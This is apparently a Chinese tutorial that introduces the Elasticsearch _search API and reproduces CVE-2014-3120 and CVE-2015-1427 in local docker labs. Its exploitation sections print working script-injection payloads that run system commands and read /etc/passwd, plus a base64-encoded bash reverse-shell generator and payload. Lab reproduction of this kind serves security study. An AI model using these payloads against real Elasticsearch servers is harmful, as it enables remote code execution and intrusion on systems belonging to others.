目录
ElasticSearch简介
Elasticsearch(以下简称ES)是目前全文搜索引擎的首选。它是一个基于 Lucene 的搜索服务器,提供了一个分布式多用户能力的全文搜索引擎,它同时基于 RESTful Web 接口,可以快速地储存、搜索和分析海量数据。
ES安装部署成功后,默认端口是9200。
ElasticSearch _search API概述
对ES中存储的数据进行查询分析,使用关键字_search
。如下
GET /_search ## 在根目录下检索所有的index
GET /<target>/_search ## 在指定索引下检索所有文档
GET /<target1>,<target2>/_search ## 检索指定多个索引下的所有文档
GET /my_*/_search ## 使用通配符,检索指定多个索引下的所有文档
ES提供查询的两种形式:URI Search和Request Boby Search。
ElasticSearch 漏洞复现
ElasticSearch CVE-2014-3120复现
- 漏洞描述:
在ES1.2之前Elasticsearch的默认配置启用动态脚本,这允许远程攻击者通过_search的source参数执行任意MVEL表达式和Java代码。
MVEL执行命令代码:import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec("whoami").getInputStream()).useDelimiter("\\A").next();
- 启动环境:
启动后,通过127.0.0.1:9200就可以访问,截图如下:cd CVE-2014-3120 docker-compose up -d
对应的浏览器访问结果,如下json:{ "status" : 200, "name" : "Hardnose", "version" : { "number" : "1.1.1", # 版本号是 1.1.1 "build_hash" : "f1585f096d3f3985e73456debdc1a0745f512bbc", "build_timestamp" : "2014-04-16T14:27:12Z", "build_snapshot" : false, "lucene_version" : "4.7" }, "tagline" : "You Know, for Search" }
- 漏洞命令注入利用:
- 启动burpsuite抓包
- 在Repeater中修改报文,通过
_search
来获取payload的响应结果。此时需要注意,如果库里没有数据的情况下,需要先写入一条数据后,才可以注入成功。
注入命令执行的payload:
2.1 注入示例如下:{ "size": 1, "script_fields":{ "command": { "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"whoami\").getInputStream()).useDelimiter(\"\\\\A\").next();" } } }
2.1.1 没有数据的情况下:
2.1.2 写入数据,需要用表单提交的方式(Content-Type: application/x-www-form-urlencoded
)写入到二级目录(/xxx/xxx
)里
2.1.3 再次获取注入结果
3. 文件读取的payload:
结果为:{ "size": 1, "script_fields":{ "command": { "script": "import java.io.*;import java.io.File; new java.util.Scanner(new File(\"/etc/passwd\")).useDelimiter(\"\\\\A\").next();" } } }
4. 反弹shell注入,参考FastJson远程代码执行漏洞基于JNDI反弹shell使用中【反弹shell的准备】
或通过下面的反弹shell的bash脚本生成代码:
反弹Shell的payload:#!/usr/bin python3 # _*_ coding: UTF-8 _*_ import base64 def reboundShell(shell_code): shell = "bash -c {echo," + base64.b64encode(shell_code.encode("utf-8")).decode() + "}|{base64,-d}|{bash,-i}" return shell if __name__ == "__main__": code = "bash -i >&/dev/tcp/127.0.0.1/9999 0>&1" print(reboundShell(code)) 结果为: bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}
结果如下:{ "size": 1, "script_fields":{ "command": { "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}\").getInputStream()).useDelimiter(\"\\\\A\").next();" } } }
ElasticSearch CVE-2015-1427复现
- 漏洞描述:
在CVE-2014-3120之后,ES默认的动态脚本语言换成了Groovy,并增加了沙盒,但默认仍然支持直接执行动态语言。
在1.4.3之前的1.3.8和1.4.x版本,Elasticsearch中的Groovy脚本引擎,允许远程攻击者绕过沙盒保护机制,并通过精心制作的脚本执行任意shell命令。
该漏洞存在两种复现方式:1、沙盒绕过;2、Groovy代码执行。
Java沙盒绕过法:
Groovy代码命令执行java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()
def command='id';def res=command.execute().text;res
- 启动环境:
启动后,通过127.0.0.1:9200就可以访问,响应结果如下:cd CVE-2015-1427 docker-compose up -d
HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Content-Length: 337 { "status" : 200, "name" : "Avalanche", "cluster_name" : "elasticsearch", "version" : { "number" : "1.4.2", # es 版本号 1.4.2 "build_hash" : "927caff6f05403e936c20bf4529f144f0c89fd8c", "build_timestamp" : "2014-12-16T14:11:12Z", "build_snapshot" : false, "lucene_version" : "4.10.2" }, "tagline" : "You Know, for Search" }
- 漏洞命令注入利用:
- java沙箱绕过payload
注入结果如下:{ "size":1, "script_fields": { "command": { "script":"java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"whoami\").getText()" } } }
2. Groovy代码命令执行payload
注入结果如下:{ "size":1, "script_fields": { "command": { "script":"def command='whoami';def res=command.execute().text;res" } } }